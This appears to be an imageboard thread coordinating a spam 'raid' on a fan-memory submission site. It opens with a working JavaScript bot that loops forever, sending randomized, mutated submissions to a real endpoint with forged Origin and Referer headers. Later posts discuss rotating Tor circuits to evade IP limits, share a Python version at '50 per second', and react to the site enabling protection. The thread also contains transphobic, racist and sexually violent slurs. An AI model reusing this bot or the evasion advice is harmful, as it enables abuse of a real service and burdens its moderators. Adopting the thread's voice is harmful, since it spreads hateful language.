const baseImage = `1otot1ot1ot1ot1ot1ot1oto1to1oto11o11o11o11o11o1to1btp101boptoptoptoptpotp1bo1b1ptob1gpto1to11gpto1boo1gp1g1totptot1ot1ot1oto1bo1g1o11o1111p11bo11o1by1tptyb101bo1otoptpgp100000ogpotpgptoto1y1o111pto1ototot1o1totptpto1ot1000rb0tpt1o111o1111111oto1otptob1boptob1oto1otpto10rt0o00o1optot1o11o1ot11ot1oto11ot1gptotptotpto1b1otrt0001tot1o1p111t11o1otpob101t1otpg1ptyptoto1typtobopo0gp1yp11yt1o1o11tp1ot1o11101pt1oto1t1p1tp1t1opoo0pr1tot1to111111by1ot1otptoo11to1b11to1to1to1o0o0pro0rropo1111o11o11t1otp1to1tpg11to1b11b111o10rprrr0rrrbr0obo1t11111o1p11oto1t1o1b1o1t1o1otot1bopo0o0opo0opo1o11opotot11tot1otp1t1totpto1b1t1p1o11111p11o111to1b1ot11p1opg1p1ot1otpgp1o11b1t1o1o111to1o1yb1to1o11o111ot1ot1p1otp1bo111tot1o1o1p1t11o1p1t11o1op1b11t1pgp1o1b1otototo1tpobo1tpt1tot1o1p1t1o1opt1bgo1ypo1o111b11o1111ptrto11t1bo1to111p1to1o11pt1oooptot11b1oto1otptobo1ob1tooto11gp1p1oto11t1pg11o1pto01po1ot1po1b1o1o1toto1011ptotp1g1tp111op111otpgobo1oto11o1t1o1otptoptpgp1ttotp1g1po1o1ob1t1yb1o11o10oboptptopob1b1ypto1ototo1bot1p1g1b1t11o1o111bobobobyto1o11to1o1ot1ob1boptpot1o1g1b1o1opo11b1bo1otobo0o1bo1tr1101b1ob1oto1to11pgptpo1ot1t1tpo1o11b1obo0trto1po1bo1otop1otp101bo101t1o11b1opo1ot11to1oto0o0pobo1to1totp1tyb1oto1ott1opot1o11b1top1obo1bop0t0101otpo1po1pgopto1bob1011rt1t1ptoto1ot1011p1oto0r0o0ob1yb1gptypt1obo1o1ob1tobo1otop1ob1py1totobobo0boboobo1o1o1boob1otptototob1101p1tpt1o1tpo1p1obo0o0bogbo1gptpto1g1obotobobototo1to1o1ob1o1ototobo0t00oboobopgo1ob1pgpytr1otob11p1bo101bo1obotp1rto10r0p0o0101gp1bopgobotrtob101101gp1b1otob1to1otpob0obg0obo0101ototopto101pgpgpg11gpotootpotopob1bog10o0rb0obrgpobobopgopgpogpgpgp1b1otob1otopg1too1bo0100o0obo0boto1otobobot01obo1011obob1ob101bo01bo10100obgp0o0o0obobobotobobobot011gpto101ootootpotobo0ob0r0obgpgpgpgobo0obogpgobo101b1obotrtbob10otrtobobo0obo0r0bo0obo01010obo0101011ototopgpotrobobo010o00t00obg0o0trtrt0o0trgpgpgpg1to10p101obo0tobotobo0t0rbo00r0bobo0o0ob0obobrgpgp11botobybotopobo0p0obo00000t0o0o00trbobo0o0g010oby1ooboboto1010tobgobg00bo0o0r00b0obr0g0o0gbobobobot1bo0obobobobo0obobo0b0000b0000000g0p0b0obo0o0otrtopotpto0grt0otrt0o00o00o00g00g000obrg0o00o0bgbo0bo01obo010p00ob0obobgb00000br00000b00gp0gp00o0r0trgptootobo0obo000botobo00ob0o0t0rb0ogp00o00ob00t0obo0obpobotrt00o001b1b10ob00o00r00gpt0t0b00000o0r0obotrggpgob0o0ob0bototot00o0bo0bg0bob1rto000o00bo0to0pgpobobo0bo00otp1tp100obg000o0pg1tobobob000o0010pgoboboto0o0bo0bo1to1tobotpgpgb0t1b1bot1bg0ob0ob0o0obo0obobob0o0bytptptrt1tp1tob11otot1bobo0000o0obot010to10o0o00g01b1tot1tp1t1b11t1b1b101totob0o0b0o0obo0r`;
const randomString = (length) => {
const chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
return Array.from({ length }, () => chars[Math.floor(Math.random() * chars.length)]).join('');
};
const mutateString = (str, mutations = 250) => {
let arr = str.split('');
const chars = '0rtob1pgy';
const usedIndices = new Set();
while (usedIndices.size < mutations) {
const i = Math.floor(Math.random() * arr.length);
if (!usedIndices.has(i)) {
arr[i] = chars[Math.floor(Math.random() * chars.length)];
usedIndices.add(i);
}
}
return arr.join('');
};
const sendRequest = async () => {
const formData = new FormData();
const name = randomString(Math.floor(Math.random() * 6) + 6);
const text = randomString(Math.floor(Math.random() * 12)+12);
const image = mutateString(baseImage);
formData.append("name", name);
formData.append("image", image);
formData.append("text", text);
try {
const response = await fetch("
https://ut-10th-memory-keeper.fangamer.workers.dev/submit/", {
method: "POST",
mode: "cors",
headers: {
"Accept": "*/*",
"Origin": "
https://memories.undertale.com",
"Referer": "
https://memories.undertale.com"
},
body: formData
});
const result = await response.text();
console.log(`✅ [${new Date().toLocaleTimeString()}] Sent '${name}' | Response:`, result);
} catch (err) {
console.error("❌ Error sending request:", err);
}
};
while (true) {
await sendRequest();
await new Promise(resolve => setTimeout(resolve, 1000));
}
})();
▶ №12348404[Quote]>>12348411>>12348440>>12348639
Can you send multiple responses?
▶ №12348410[Quote]
>>12348401this means that also a single 'teen running 70 scripts at once could do it btw. im trans btw
▶ №12348440[Quote]
>>12348404We are botting it right now
▶ №12348451[Quote]
Does anyone with TOR experience know how you can switch ips quicker while using TOR in proxy mode?
▶ №12348454[Quote]
Because that would be way faster than using the browser
▶ №12348477[Quote]
"The Tor Browser can use multiple Tor circuits/IPs in parallel, which is why different tabs (especially from different domains) can use different exit nodes simultaneously.
However, if you're using Tor as a standalone proxy (like via tor daemon or tor.exe), by default it provides one SOCKS proxy port (usually 127.0.0.1:9050 or 9150) and all requests through that port will typically share the same Tor circuit for a given destination — unless you deliberately isolate them."
JeetPython code dropping soon
▶ №12348566[Quote]>>12348601
>>12348548make xim browner and issa gem
▶ №12348571[Quote]>>12348585
>>12348302I DON'T MM NEED MEDS I AM DTU DRUNK
▶ №12348575[Quote]>>12348585
FYC FYCJ Y FUCK YOU
▶ №12348592[Quote]
O I HJA I HATE YTOU IH I HATE YOU
▶ №12348601[Quote]>>12348611
>>12348566there werent any other options albeit
▶ №12348604[Quote]
i am not schizo soyim fuk fuck fuckj fucjk fuck you
▶ №12348611[Quote]>>12348665
>>12348601You could've dithered xim
▶ №12348705[Quote]>>12348751>>12348798
JEETGPT PYTHON CODE DEPLOYED
50 CADOS PER SECOND
▶ №12348751[Quote]>>12348758
>>12348705Can you send it here or through soybin?
▶ №12348758[Quote]>>12348770
>>12348751Do you know how to set up the standalone TOR proxy?
I have no clue how you do that on windows btw.
▶ №12348770[Quote]>>12348787
>>12348758Me neither, I just use the browser. I'm sure that there's a resource for it if you look it up though
▶ №12348787[Quote]
>>12348770Here's the code
Change it to .py
I can't help you with setting up the TOR proxy doe
▶ №12348794[Quote]
It only works with TOR socks isolation in the torrc config file as well
▶ №12348806[Quote]
And the code isn't that great either because if one of the circuits fails it doesn't get back up, but it should be enough to rape the submissions.
▶ №12348841[Quote]
50 requests a second will be 180k an hour, which is a number likely on the same magnitude as the number of organic submissions geeeeeeeeeeg
▶ №12348843[Quote]
But I don't think it will reach that many with that code because python is slow and some circuits fail
▶ №12349082[Quote]
Up up up
▶ №12349114[Quote]
I think he activated cuckflare protection geeeeeeg
The only thing that wasn't randomized btw was the separator string, but I don't see why that'd be logged
▶ №12349116[Quote]
BTFO'd by an autistic janny who will moderate every submission manually
▶ №12349202[Quote]
Bumpy
▶ №12349227[Quote]
>>12340000GEEEEEEEEEEEEEEEEG
▶ №12349239[Quote]
>>12340000GEEEEG
The aryan sans
▶ №12349285[Quote]>>12349293
Is this a winraid or a failraid? This seems like an epic win to me.
▶ №12349293[Quote]>>12349319
>>12349285We botted the shit out of it before they enabled basic protection as well as sending a few manual gems
▶ №12349310[Quote]
Btw if you click "reset" it doesn't even send anything to the server
▶ №12349319[Quote]>>12349338>>12349360
>>12349293Is it work a wiki article thoughie?
▶ №12349338[Quote]
>>12349319Lets wait and see if there's a reaction first
▶ №12349360[Quote]>>12349368
>>12349319we've probably made some trannies from fangamer look at ludicrous amounts of 'cado so it's worth documenting for that fact alone
▶ №12349372[Quote]
Hold on I'll create an article